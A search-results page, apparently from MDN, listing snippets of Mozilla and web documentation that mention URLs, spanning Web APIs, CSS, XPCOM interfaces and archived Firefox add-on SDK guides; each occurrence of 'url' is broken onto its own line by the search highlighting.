url search for fragments of text inside larger bodies of text: grep view a file's contents page by page: less, cat manipulate and transform streams of text (for example changing all the instances of <div>s in an html file to <article>): awk, tr, sed note: there are a number of good tutorials on the web that go much deeper into the command line on the web — this is only a brief introduc...
...this is exactly the same as you would see with
urls in your web browser.
... a leading slash means "at the root of the web site", whereas omitting the slash means "the
url is relative to my current page".
...And 8 more matches
nsIChromeRegistry
inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: @mozilla.org/chrome/chrome-registry;1 as a service: var chromeregistry = components.classes["@mozilla.org/chrome/chrome-registry;1"] .getservice(components.interfaces.nsichromeregistry); method overview void canonify(in nsiuri achrome
url); obsolete since gecko 1.8 void checkfornewchrome(); nsiuri convertchrome
url(in nsiuri achrome
url); boolean wrappersenabled(in nsiuri auri); violates the xpcom interface guidelines constants constant value description none 0 partial 1 full 2 methods canonify() obsolete since ...
...gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: this method is obsolete; use convertchrome
url() instead.
... converts a chrome
url into a canonical representation by ensuring that the filename portion of the
url is included, as in chrome://package/provider/file.
...And 8 more matches
HTMLAnchorElement - Web APIs
htmlhyperlinkelementutils.hash is a usvstring representing the fragment identifier, including the leading hash mark ('#'), if any, in the referenced
url.
... htmlhyperlinkelementutils.host is a usvstring representing the hostname and port (if it's not the default port) in the referenced
url.
... htmlhyperlinkelementutils.hostname is a usvstring representing the hostname in the referenced
url.
...And 8 more matches
HTMLAreaElement - Web APIs
htmlhyperlinkelementutils.hash is a usvstring containing the fragment identifier (including the leading hash mark (#)), if any, in the referenced
url.
... htmlhyperlinkelementutils.host is a usvstring containing the hostname and port (if it's not the default port) in the referenced
url.
... htmlhyperlinkelementutils.hostname is a usvstring containing the hostname in the referenced
url.
...And 8 more matches
HTMLHyperlinkElementUtils - Web APIs
these utilities allow to deal with common features like
urls.
... htmlhyperlinkelementutils.href this a stringifier property that returns a usvstring containing the whole
url, and allows the href to be updated.
... htmlhyperlinkelementutils.protocol this is a usvstring containing the protocol scheme of the
url, including the final ':'.
...And 8 more matches
History.pushState() - Web APIs
syntax history.pushstate(state, title[,
url]) parameters state the state object is a javascript object which is associated with the new history entry created by pushstate().
...
url optional the new history entry's
url is given by this parameter.
... note that the browser won't attempt to load this
url after a call to pushstate(), but it might attempt to load the
url later, for instance after the user restarts the browser.
...And 8 more matches
Navigator.registerProtocolHandler() - Web APIs
the navigator method registerprotocolhandler() lets web sites register their ability to open or handle particular
url schemes (aka protocols).
... for example, this api lets webmail sites open mailto:
urls, or voip sites open tel:
urls.
... syntax navigator.registerprotocolhandler(scheme,
url, title); note: recently updated to navigator.registerprotocolhandler(scheme,
url), but no browsers currently support this version.
...And 8 more matches
@document - CSS: Cascading Style Sheets
the @document css at-rule restricts the style rules contained within it based on the
url of the document.
... @document
url("https://www.example.com/") { h1 { color: green; } } syntax an @document rule can specify one or more matching functions.
... if any of the functions apply to a given
url, the rule will take effect on that
url.
...And 8 more matches
content - CSS: Cascading Style Sheets
/* keywords that cannot be combined with other values */ content: normal; content: none; /* <image> values */ content:
url("http://www.example.com/test.png"); content: linear-gradient(#e66465, #9198e5); /* alt text for generated content, added in the level 3 specification */ content:
url("http://www.example.com/test.png") / "this is the alt text"; /* values below can only be applied to generated content using ::before and ::after */ /* <string> value */ content: "prefix"; /* <counter> values */ content: counter(chapter_counter); content: counters(section_counter, "."); /* attr() value linked to the html attribute value */ content: attr(value...
... <image> an <image>, denoted by the <
url> or <gradient> data type, or part of the webpage, defined by the element() function, denoting the content to display.
...otherwise, for uri values, the absolute uri; for attr() values, the resulting string; for other keywords, as specified.animation typediscrete formal syntax normal | none | [ <content-replacement> | <content-list> ] [/ <string> ]?where <content-replacement> = <image><content-list> = [ <string> | contents | <image> | <quote> | <target> | <leader()> ]+where <image> = <
url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient><quote> = open-quote | close-quote | no-open-quote | no-close-quote<target> = <target-counter()> | <target-counters()> | <target-text()><leader()> = leader( <leader-type> )where <image()> = image( <image-tags>?
...And 8 more matches
<input type="image"> - HTML: Hypertext Markup Language
additional attributes in addition to the attributes shared by all <input> elements, image button inputs support the following attributes: attribute description alt alternate string to display when the image can't be shown formaction the
url to which to submit the data formenctype the encoding method to use when submitting the form data formmethod the http method to use when submitting the form formnovalidate a boolean which, if present, indicates that the form shouldn't be validated before submission formtarget a string indicating a browsing context from where to load the results of su...
...bmitting the form height the height, in css pixels, at which to draw the image src the
url from which to load the image width the width, in css pixels, at which to draw the image alt the alt attribute provides an alternate string to use as the button's label if the image cannot be shown (due to error, a user agent that cannot or is configured not to show images, or if the user is using a screen reading device).
... formaction a string indicating the
url to which to submit the data.
...And 8 more matches
Modules - Archive of obsolete content
the module system used by the sdk is based on the commonjs specification: it is implemented using a loader object, which handles all the bookkeeping related to module loading, such as resolving and caching
urls.
...however, the following example shows how it can be used to load scripts from other locations: const { classes: cc interfaces: ci } = components; var instance = cc["@mozilla.org/moz/jssubscript-loader;1"]; var loader = instance.getservice(ci.mozijssubscriptloader); function loadscript(
url) { loader.loadsubscript(
url); } when a script is loaded, it is evaluated in the scope of the global object of the script that loaded it.
...for instance, it does not know how to handle relative
urls, which is cumbersome if you want to organize your project hierarchically.
...And 7 more matches
places/bookmarks - Archive of obsolete content
examples creating a new bookmark let { bookmark, save } = require("sdk/places/bookmarks"); // create a new bookmark instance, unsaved let bookmark = bookmark({ title: "mozilla",
url: "http://mozilla.org" }); // attempt to save the bookmark instance to the bookmarks database // and store the emitter let emitter = save(bookmark); // listen for events emitter.on("data", function (saved, inputitem) { // on a "data" event, an item has been updated, passing in the // latest snapshot from the server as `saved` (with properties // such as `updated` and `id`), as well as the ...
...e }).on("end", function (saveditems, inputitems) { // similar to "data" events, except "end" is an aggregate of // all progress events, with ordered arrays as `saveditems` // and `inputitems` }); creating several bookmarks with a new group let { bookmark, group, save } = require("sdk/places/bookmarks"); let group = group({ title: "guitars" }); let bookmarks = [ bookmark({ title: "ran",
url: "http://ranguitars.com", group: group }), bookmark({ title: "ibanez",
url: "http://ibanez.com", group: group }), bookmark({ title: "esp",
url: "http://espguitars.com", group: group }) ]; // save `bookmarks` array -- notice we don't have `group` in the array, // although it needs to be saved since all bookmarks are children // of `group`.
... let { search, unsorted } = require("sdk/places/bookmarks"); // simple query with one object search( { query: "firefox" }, { sort: "title" } ).on("end", function (results) { // results matching any bookmark that has "firefox" // in its
url, title or tag, sorted by title }); // multiple queries are or'd together search( [{ query: "firefox" }, { group: unsorted, tags: ["mozilla"] }], { sort: "title" } ).on("end", function (results) { // our first query is the same as the simple query above; // all of those results are also returned here.
...And 7 more matches
package.json - Archive of obsolete content
it may include a optional
url in parentheses and an email address in angle brackets.
... homepage the
url of the add-on's website.
... this value will be used as the add-on's em:homepage
url element in its install.rdf.
...And 7 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
chrome
url use a file called a “chrome manifest” to register chrome packages with firefox and start using them.
... to register a package, you use a special uri scheme called a “chrome
url” to represent the path to the file.
... chrome
urls are structured as: chrome://%package name%/%package type%/%relative path to source file% for example, the chrome
url for the firefox browser window is as follows: chrome://browser/content/browser.xul here, the package name is “browser”, the file “browser.xul”, and the type of the package is “content”.
...And 7 more matches
JavaScript Object Management - Archive of obsolete content
in order to access a file messagecount.js in this directory, the
url would be: resource://xulschoolhello/messagecount.js code modules are regular js files, so there's nothing new in regards to naming or file types.
... module files can be imported to a chrome script or to other code modules with the following line: components.utils.import("resource://xulschoolhello/messagecount.js"); when using components.utils.import, code modules must be loaded using a file: or resource:
url pointing to a file on the disk.
... in particular, chrome:
urls (even those that point to a file outside a jar archive) are not valid.
...And 7 more matches
Promises - Archive of obsolete content
let resp = yield new promise((resolve, reject) => { let xhr = new xmlhttprequest; xhr.onload = resolve; xhr.onerror = reject; xhr.open("get", data
url); xhr.responsetype = "json"; xhr.send(); }); let data = resp.target.response; // use the response to construct form data object for the // second request.
... resp = yield new promise((resolve, reject) => { let xhr = new xmlhttprequest; xhr.onload = resolve; xhr.onerror = reject; xhr.open("post", update
url); xhr.send(form); }); // use the response of the second request.
... let xhr = yield request(data
url, { responsetype: "json" }); let data = xhr.response; // use the response to construct form data object for the // second request.
...And 7 more matches
Using Remote XUL - Archive of obsolete content
this also means you can't load xul using file://
urls unless you set the preference dom.allow_xul_xbl_for_file to true.
... <?php header('content-type: application/vnd.mozilla.xul+xml'); ?> <!-- xul markup starts here --> note that you don't need a web server for this tutorial; you can load the document you create on your computer via a "file"
url or the "open file" function of your browser.
...its src attribute contains the
url of the page being displayed in the iframe.
...And 7 more matches
nsIExternalProtocolService
and you can ask it to load the
url using the default handler.
...aprotocolscheme); astring getapplicationdescription(in autf8string ascheme); nsihandlerinfo getprotocolhandlerinfo(in acstring aprotocolscheme); nsihandlerinfo getprotocolhandlerinfofromos(in acstring aprotocolscheme, out boolean afound); boolean isexposedprotocol(in string aprotocolscheme); void loaduri(in nsiuri auri, [optional] in nsiinterfacerequestor awindowcontext); void load
url(in nsiuri a
url); void setprotocolhandlerdefaults(in nsihandlerinfo ahandlerinfo, in boolean aoshandlerexists); methods externalprotocolhandlerexists() check whether a handler for a specific protocol exists.
...boolean externalprotocolhandlerexists( in string aprotocolscheme ); parameters aprotocolscheme the scheme from a
url: http, ftp, mailto, and so on.
...And 7 more matches
nsIMsgDBView
viewcommandupdater acommandupdater); void geturisforselection([array, size_is(count)] out string uris, out unsigned long count); void getindicesforselection([array, size_is(count)] out nsmsgviewindex indices, out unsigned long count); void loadmessagebymsgkey(in nsmsgkey amsgkey); void loadmessagebyviewindex(in nsmsgviewindex aindex); void loadmessageby
url(in string a
url); void reloadmessage(); void reloadmessagewithallparts(); void selectmsgbykey(in nsmsgkey key); void selectfoldermsgbykey(in nsimsgfolder afolder, in nsmsgkey akey); void ondeletecompleted(in boolean succeeded); nsmsgviewindex findindexfromkey(in nsmsgkey amsgkey, in boolean aexpand); void expandandselectthreadbyindex(i...
... viewfolder nsimsgfolder uriforfirstselectedmessage acstring readonly:
url of the first selected message.
... geturiforviewindex() gets the
url for the message at the given index.
...And 7 more matches
Debugger.Source - Firefox Developer Tools
url if the instance refers to javascript source, the filename or
url from which this script’s code was loaded.
... for scripts created by eval or the function constructor, this may be a synthesized filename, starting with a valid
url and followed by information tracking how the code was introduced into the system; the entire string is not a valid
url.
...source may be loaded from a
url in the following ways: the
url may appear as the src attribute of a <script> element in markup text.
...And 7 more matches
Web Console remoting - Firefox Developer Tools
protocol packets look as follows: { "to": "root", "type": "listtabs" } { "from": "root", "consoleactor": "conn0.console9", "selected": 2, "tabs": [ { "actor": "conn0.tab2", "consoleactor": "conn0.console7", "title": "", "
url": "https://tbpl.mozilla.org/?tree=fx-team" }, // ...
... when page navigation starts the following packet is sent from the tab actor: { "from": tabactor, "type": "tabnavigated", "state": "start", "
url": new
url, "nativeconsoleapi": true } the nativeconsoleapi property tells if the window.console object is native or not for the top level window object for the given tab - this is always true when navigation starts.
... when navigation stops the following packet is sent: { "from": tabactor, "type": "tabnavigated", "state": "stop", "
url": new
url, "title": newtitle, "nativeconsoleapi": true|false } getcachedmessages(types, onresponse) the webconsoleclient.getcachedmessages(types, onresponse) method sends the following packet to the server: { "to": "conn0.console9", "type": "getcachedmessages", "messagetypes": [ "pageerror", "consoleapi" ] } the getcachedmessages packet allows one to retrieve the cached messages from before the web console was open.
...And 7 more matches
Using Fetch - Web APIs
// example post method implementation: async function postdata(
url = '', data = {}) { // default options are marked with * const response = await fetch(
url, { method: 'post', // *get, post, put, delete, etc.
... mode: 'cors', // no-cors, *cors, same-origin cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached credentials: 'same-origin', // include, *same-origin, omit headers: { 'content-type': 'application/json' // 'content-type': 'application/x-www-form-
urlencoded', }, redirect: 'follow', // manual, *follow, error referrerpolicy: 'no-referrer', // no-referrer, *no-referrer-when-downgrade, origin, origin-when-cross-origin, same-origin, strict-origin, strict-origin-when-cross-origin, unsafe-
url body: json.stringify(data) // body data type must match "content-type" header }); return response.json(); // parses json response into native javascript objects } postdata('https://example.com/answer', { answer: 42 }) .then(data => { ...
... console.log(data); // json data parsed by `data.json()` call }); note that mode: "no-cors" only allows a limited set of headers in the request: accept accept-language content-language content-type with a value of application/x-www-form-
urlencoded, multipart/form-data, or text/plain sending a request with credentials included to cause browsers to send a request with credentials included, even for a cross-origin call, add credentials: 'include' to the init object you pass to the fetch() method.
...And 7 more matches
Node.baseURI - Web APIs
the baseuri read-only property returns the absolute base
url of a node.
... the base
url is used to resolve relative
urls when the browser needs to obtain an absolute
url, for example when processing the html <img> element's src attribute or xml xlink:href attribute.
... in most cases the base
url is simply the location of the document, but it can be affected by many factors, including the <base> element in html and the xml:base attribute in xml.
...And 7 more matches
Using Service Workers - Web APIs
basic architecture with service workers, the following steps are generally observed for basic set up: the service worker
url is fetched and registered via serviceworkercontainer.register().
... const imgload = (
url) => { return new promise((resolve, reject) => { var request = new xmlhttprequest(); request.open('get',
url); request.responsetype = 'blob'; request.onload = () => { if (request.status == 200) { resolve(request.response); } else { reject(error('image didn\'t load successfully; error code:' + request.statustext)); } }; request.onerror =...
... when we come to call the imgload() function, we call it with the
url to the image we want to load, as we might expect, but the rest of the code is a little different: let body = document.queryselector('body'); let myimage = new image(); imgload('mylittlevader.jpg').then((response) => { var image
url = window.
url.createobject
url(response); myimage.src = image
url; body.appendchild(myimage); }, (error) => { console.log(error); }); on to the end of the funct...
...And 7 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
t: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) */ .ui-color-picker .picking-area { background:
url("images/picker_mask.png"); background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -webkit-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), ...
...dius: 50%; border: 1px solid #fff; position: absolute; top: 45%; left: 45%; } .ui-color-picker .picker:before { width: 8px; height: 8px; content: ""; position: absolute; border: 1px solid #999; border-radius: 50%; } .ui-color-picker .hue, .ui-color-picker .alpha { width: 198px; height: 28px; margin: 5px; border: 1px solid #fff; float: left; } .ui-color-picker .hue { background:
url("images/hue_mask.png"); background: -moz-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); background: -webkit-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); background: -ms-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00...
... 100%); background: -o-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); } .ui-color-picker .alpha { border: 1px solid #ccc; background:
url("images/alpha_mask.png"); } .ui-color-picker .slider-picker { width: 2px; height: 100%; margin: 0 0 0 -2px; border: 1px solid #777; background-color: #fff; position: relative; top: -1px; } /* input hsv and rgb */ .ui-color-picker .info { width: 200px; margin: 5px; float: left; } .ui-color-picker .info * { float: left; } .ui-color-picker .input { width: 64px; margin: 5px 2px; float: left; } .ui-color-picker .input .name { height: 20px; width: 30px; text-align: center; font-size: 14px; line-height: 18px; float: left; } .ui-color-picker .input input { width: 30px; he...
...And 7 more matches
cursor - CSS: Cascading Style Sheets
syntax /* keyword value */ cursor: pointer; cursor: auto; /*
url, with a keyword fallback */ cursor:
url(hand.cur), pointer; /*
url and coordinates, with a keyword fallback */ cursor:
url(cursor1.png) 4 12, auto; cursor:
url(cursor2.png) 2 2, pointer; /* global values */ cursor: inherit; cursor: initial; cursor: unset; the cursor property is specified as zero or more <
url> values, separated by commas, followed by a single mandatory keyword value.
... each <
url> should point to an image file.
... each <
url> may be optionally followed by a pair of space-separated numbers, which represent <x><y> coordinates.
...And 7 more matches
HTML attribute reference - HTML: Hypertext Markup Language
background <body>, <table>, <td>, <th> specifies the
url of an image file.
... code <applet> specifies the
url of the applet's class file to be loaded and executed.
... codebase <applet> this attribute gives the absolute or relative
url of the directory where applets' .class files referenced by the code attribute are stored.
...And 7 more matches
core/promise - Archive of obsolete content
it makes code easier to read and make changes later: var data = readasync(
url).
... // read content of
url asynchronously then(parse).
... // parse content from the
url then(extractquery).
...And 6 more matches
ui/button/toggle - Archive of obsolete content
's show() method or the panel's constructor: var { togglebutton } = require('sdk/ui/button/toggle'); var panels = require("sdk/panel"); var self = require("sdk/self"); var button = togglebutton({ id: "my-button", label: "my button", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onchange: handlechange }); var panel = panels.panel({ content
url: self.data.
url("panel.html"), onhide: handlehide }); function handlechange(state) { if (state.checked) { panel.show({ position: button }); } } function handlehide() { button.state('window', {checked: false}); } disabling buttons you can disable a button by setting its disabled property to true.
... icon
url, string, object one or more icons for the button.
... you can specify this in one of three ways: as a resource://
url pointing at an icon file in your add-on's "data" directory, typically constructed using self.data.
url(iconfile) as a relative path: a string in the form "./iconfile", where "iconfile" is a relative path to the icon file beginning in your add-on's "data" directory as an object, or dictionary of key-value pairs.
...And 6 more matches
ui/toolbar - Archive of obsolete content
'); var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var previous = actionbutton({ id: "previous", label: "previous", icon: "./icons/previous.png" }); var next = actionbutton({ id: "next", label: "next", icon: "./icons/next.png" }); var play = actionbutton({ id: "play", label: "play", icon: "./icons/play.png" }); var frame = new frame({
url: "./frame-player.html" }); var toolbar = toolbar({ title: "player", items: [previous, next, play, frame] }); the toolbar appears just above the content window: to destroy a toolbar call its destroy() method.
...this add-on creates a toolbar containing one button and a frame: var { actionbutton } = require('sdk/ui/button/action'); var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var button = actionbutton({ id: "my-button", label: "my-button", icon: "./my-button.png" }); var frame = new frame({
url: "./my-frame.html" }); var toolbar = toolbar({ title: "player", items: [button, frame] }); this add-on creates a toolbar with one frame, that's hidden initially, and that logs show and hide events: var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var frame = new frame({
url: "./frame.html" }); var toolbar = toolbar({ title: "my toolbar", items: ...
... toolbar methods on(event, listener) assign a listener to an event: var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var frame = new frame({
url: "./frame.html" }); var toolbar = toolbar({ title: "my toolbar", items: [frame] }); toolbar.on("show", showing); toolbar.on("hide", hiding); function showing(e) { console.log("showing: " + e.title); } function hiding(e) { console.log("hiding: " + e.title); } parameters event : string the name of the event to listen to.
...And 6 more matches
Storing annotations - Archive of obsolete content
the annotation is composed of the text the user entered and the "annotation anchor", which consists of the
url, element id and element content: function handlenewannotation(annotationtext, anchor) { var newannotation = new annotation(annotationtext, anchor); simplestorage.storage.annotations.push(newannotation); } this function calls a constructor for an annotation object, which we also need to supply: function annotation(annotationtext, anchor) { this.annotationtext = annotationtext; this.
url ...
...= anchor[0]; this.ancestorid = anchor[1]; this.anchortext = anchor[2]; } now we need to link this code to the annotation editor, so that when the user presses the return key in the editor, we create and store the new annotation: var annotationeditor = panels.panel({ width: 220, height: 220, content
url: data.
url('editor/annotation-editor.html'), contentscriptfile: data.
url('editor/annotation-editor.js'), onmessage: function(annotationtext) { if (annotationtext) handlenewannotation(annotationtext, this.annotationanchor); annotationeditor.hide(); }, onshow: function() { this.postmessage('focus'); } }); listing stored annotations to prove that this works, let's implement the part of the add-on that displays all the previously entered annotations.
... annotation list content script here's the annotation list's content script: self.on("message", function onmessage(storedannotations) { var annotationlist = $('#annotation-list'); annotationlist.empty(); storedannotations.foreach( function(storedannotation) { var annotationhtml = $('#template .annotation-details').clone(); annotationhtml.find('.
url').text(storedannotation.
url) .attr('href', storedannotation.
url); annotationhtml.find('.
url').bind('click', function(event) { event.stoppropagation(); event.preventdefault(); self.postmessage(storedannotation.
url); }); annotationhtml.find('.selection-text') .text(storedannotation.anchortext); anno...
...And 6 more matches
Intercepting Page Loads - Archive of obsolete content
in most cases you'll need to compare the page
url with some string or regular expression: if (some_regular_expression.test(doc.defaultview.location.href)) you can access and modify the dom of the loaded page, just like you normally would for xul and html documents.
... observe : function(asubject, atopic, adata) { if (topic_modify_request == atopic) { let
url; asubject.queryinterface(components.interfaces.nsihttpchannel);
url = asubject.uri.spec; if (re_
url_to_modify.test(
url)) { // re_
url_to_modify is a regular expression.
... asubject.setrequestheader("referer", "http://example.com", false); } else if (re_
url_to_cancel.test(
url)) { // re_
url_to_cancel is a regular expression.
...And 6 more matches
Index of archived content - Archive of obsolete content
l10n notifications page-mod page-worker panel passwords private-browsing querystring request selection self simple-prefs simple-storage system tabs timers ui
url widget windows low-level apis /loader chrome console/plain-text console/traceback content/content content/loader content/mod content/symbiont content/worker core/he...
... core/promise dev/panel event/core event/target frame/hidden-frame frame/utils fs/path io/byte-streams io/file io/text-streams lang/functional lang/type loader/cuddlefish loader/sandbox net/
url net/xhr places/bookmarks places/favicon places/history platform/xpcom preferences/event-target preferences/service remote/child remote/parent stylesheet/style stylesheet/utils system/child_process system/environment ...
...event targets creating reusable modules developing for firefox mobile display a popup getting started (jpm) getting started (cfx) list open tabs listen for page load listening for load and unload localization logging modifying web pages based on
url modifying the page hosted by a tab open a web page troubleshooting unit testing using xpcom without chrome using third-party modules (jpm) bootstrapped extensions code snippets alerts and notifications ...
...And 6 more matches
Common Firefox theme issues and solutions - Archive of obsolete content
the following css rules also need to be copied to the proper location in the browser.css file and modified as necessary: /* page proxy icon */ #page-proxy-favicon { width: 16px; height: 16px; margin: 1px 3px; list-style-image:
url(chrome://browser/skin/identity-icons-generic.png); -moz-image-region: rect(0, 16px, 16px, 0); } .verifieddomain > #identity-box-inner > #page-proxy-stack > #page-proxy-favicon { list-style-image:
url(chrome://browser/skin/identity-icons-https.png); } .verifiedidentity > #identity-box-inner > #page-proxy-stack > #page-proxy-favicon { list-style-image:
url(chrome://browser/ski...
...tack > #page-proxy-favicon, #identity-box[open=true] > #identity-box-inner > #page-proxy-stack > #page-proxy-favicon { -moz-image-region: rect(0, 48px, 16px, 32px); } #page-proxy-favicon[pageproxystate="invalid"] { opacity: 0.5; } for more information about identity boxes please see the identity box section of the amo editors theme review guidelines no visual clue for disabled
url bars there needs to be a visual clue when
url bar is disabled.
...the
url bar of the resulting popup window is disabled.
...And 6 more matches
Routing in Ember - Learn web development
previous overview: client-side javascript frameworks next in this article we learn about routing, or
url-based filtering as it is sometimes referred to.
... we'll use it to provide a unique
url for each of the three todo views — "all", "active", and "completed".
...
url-based filtering ember comes with a routing system that has a tight integration with the browser
url.
...And 6 more matches
Adding phishing protection data providers
phishing protection technology lets firefox help protect users by comparing the
urls the user visits to a list of known scam sites, and presenting a warning to the user when they visit a site on the list.
... browser.safebrowsing.provider.idnum.key
url an
url that returns a private key to be used for encrypting of other requests.
... browser.safebrowsing.provider.idnum.lookup
url the
url to use to look up
urls to see if they're block-listed.
...And 6 more matches
Application cache implementation overview
nsiapplicationcacheservice::chooseapplicationcache is given the
url the channel is about to load.
... it synchronously returns an nsiapplicationcache object representing the most recent cache version from the most recent cache group containing the entry under the
url or a matching namespace.
...nsiapplicationcache is then queried a client id (= the manifest
url + a unique time stamp).
...And 6 more matches
Places Developer Guide
rapper apis for easing access to a number of firefox utilities and services nsiplacestransactionsservice - a firefox service for modifying bookmarks in a transactional manner, providing facilities for undo/redo places utilities for javascript - accessors and helper functions for firefox and extensions creating bookmarks, folders and other items creating a bookmark // create an nsiuri for the
url to be bookmarked.
...story = cc["@mozilla.org/browser/nav-history-service;1"] .getservice(ci.nsinavhistoryservice); var query = history.getnewquery(); // specify folders to be searched var folders = [bookmarks.toolbarfolder, bookmarks.bookmarksmenufolder, bookmarks.unfiledbookmarksfolder]; query.setfolders(folders, folders.length); // specify terms to search for, matches against title,
url and tags query.searchterms = "firefox"; var options = history.getnewqueryoptions(); options.querytype = options.query_type_bookmarks; var result = history.executequery(query, options); // the root property of a query result is an object representing the folder you specified above.
..."); var visitdate = date.now() * 1000; // in microseconds var referreruri = null; // or a uri var isredirect = false; var visittype = history.transition_link; // the visit is from a link that was clicked var sessionid = 0; // can link the visit with a specific browsing session history.addvisit(oururi, visitdate, referreruri, visittype, isredirect, sessionid); // add a visit to a
url, with a page title and visited time // via nsibrowserhistory.
...And 6 more matches
Building the WebLock UI
this is a bit more complicated, because it requires that you work with the currently loaded page or provide other ui (e.g., a textfield where you can enter an arbitrary
url) for specifying
urls.
... the
url that the addsite method expects is a string, so we can pass a string directly in from the user interface, or we can do a check on the string and verify that it's a valid
url.
... in this tutorial, focusing as it is on the weblock functionality (rather than the ui), we'll assume the strings we get from the ui itself are
urls we actually want to write to the white list: function addthissite() { var tf = document.getelementbyid("dialog.input"); // weblock is global and declared above weblock.addsite(tf.value); } this javascript function can be called directly from the xul widget, where the input string is retrieved as the value property of the textbox element.
...And 6 more matches
mozIAsyncFavicons
method overview void getfavicon
urlforpage(in nsiuri apageuri, in nsifavicondatacallback acallback); void getfavicondataforpage(in nsiuri apageuri, in nsifavicondatacallback acallback); void setandfetchfaviconforpage(in nsiuri apageuri, in nsiuri afaviconuri, in boolean aforcereload, in unsigned long afaviconloadtype, [optional] in nsifavicondatacallback acallback); void replacefavic...
...ondata(in nsiuri afaviconuri, [const,array,size_is(adatalen)] in octet adata, in unsigned long adatalen, in autf8string amimetype, [optional] in prtime aexpiration); void replacefavicondatafromdata
url(in nsiuri afaviconuri, in astring adata
url, [optional] in prtime aexpiration); methods getfavicon
urlforpage() retrieve the
url of the favicon for the given page.
... void getfavicon
urlforpage( in nsiuri apageuri, in nsifavicondatacallback acallback ); parameters apageuri uri of the page whose favicon's
url we're looking up.
...And 6 more matches
nsILoginManager
"@mozilla.org/login-manager;1"] .getservice(components.interfaces.nsiloginmanager); method overview void addlogin(in nsilogininfo alogin); nsiautocompleteresult autocompletesearch(in astring asearchstring, in nsiautocompleteresult apreviousresult, in nsidomhtmlinputelement aelement); unsigned long countlogins(in astring ahostname, in astring aaction
url, in astring ahttprealm); boolean fillform(in nsidomhtmlformelement aform); void findlogins(out unsigned long count, in astring ahostname, in astring aaction
url, in astring ahttprealm, [retval, array, size_is(count)] out nsilogininfo logins); void getalldisabledhosts([optional] out unsigned long count, [retval, array, size_is(count)] out wstring hostnames); voi...
... unsigned long countlogins( in astring ahostname, in astring aaction
url, in astring ahttprealm ); parameters ahostname the hostname to which to restrict searches, formatted as a
url.
... aaction
url for form logins, this parameter should specify the
url to which the form will be submitted.
...And 6 more matches
Gecko Plugin API Reference - Plugins
or plug-in display nesting rules for html elements using the appropriate attributes using the embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins ms windows unix mac os x drawing a plug-in instance handling memory sending and receiving streams working with
urls getting version and ui information displaying messages on the status line making plug-ins scriptable building plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native installers xpi plug-ins installations plug-in installation and the windows registry initialization and destruction ini...
...treams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream
urls getting
urls getting the
url and displaying the page posting
urls posting data to an http server uploading files to an ftp server sending mail memory allocating and freeing memory mac os flushing memory (mac os only) version, ui, and status information displaying a status line message getting agent information getting the current version ...
... npp_destroy npp_destroystream npp_getvalue np_getvalue npp_handleevent np_initialize npp_new npp_newstream npp_print npp_setvalue npp_setwindow np_shutdown npp_streamasfile npp_
urlnotify npp_write npp_writeready browser side plug-in api this chapter describes methods in the plug-in api that are available from the browser.
...And 6 more matches
Clients.openWindow() - Web APIs
the openwindow() method of the clients interface creates a new top level browsing context and loads a given
url.
... in chrome for android, the method may instead open the
url in an existing browsing context provided by a standalone web app previously added to the user's home screen.
... syntax self.clients.openwindow(
url).then(function(windowclient) { // do something with your windowclient }); parameters
url a usvstring representing the
url of the client you want to open in the window.
...And 6 more matches
FileSystemEntrySync - Web APIs
basic concepts the filesystementrysync interface includes methods that you would expect for manipulating files and directories, but it also include a really handy method for getting a
url of the entry: to
url().
... it also introduces a new
url scheme: filesystem:.
... method overview metadata getmetadata () raises (fileexception); filesystementrysync moveto (in directoryentrysync parent, optional domstring newname) raises (fileexception); filesystementrysync copyto(in directoryentrysync parent, optional domstring newname) raises (fileexception); domstring to
url(); void remove() raises (fileexception); directoryentrysync getparent(); attributes attribute type description filesystem readonly filesystemsync the file system where the entry resides.
...And 6 more matches
HTMLImageElement - Web APIs
htmlimageelement.currentsrc read only returns a usvstring representing the
url from which the currently displayed image was loaded.
... htmlimageelement.src a usvstring that reflects the src html attribute, which contains the full
url of the image including base uri.
... you can load a different image into the element by changing the
url in the src attribute.
...And 6 more matches
Box-shadow generator - CSS: Cascading Style Sheets
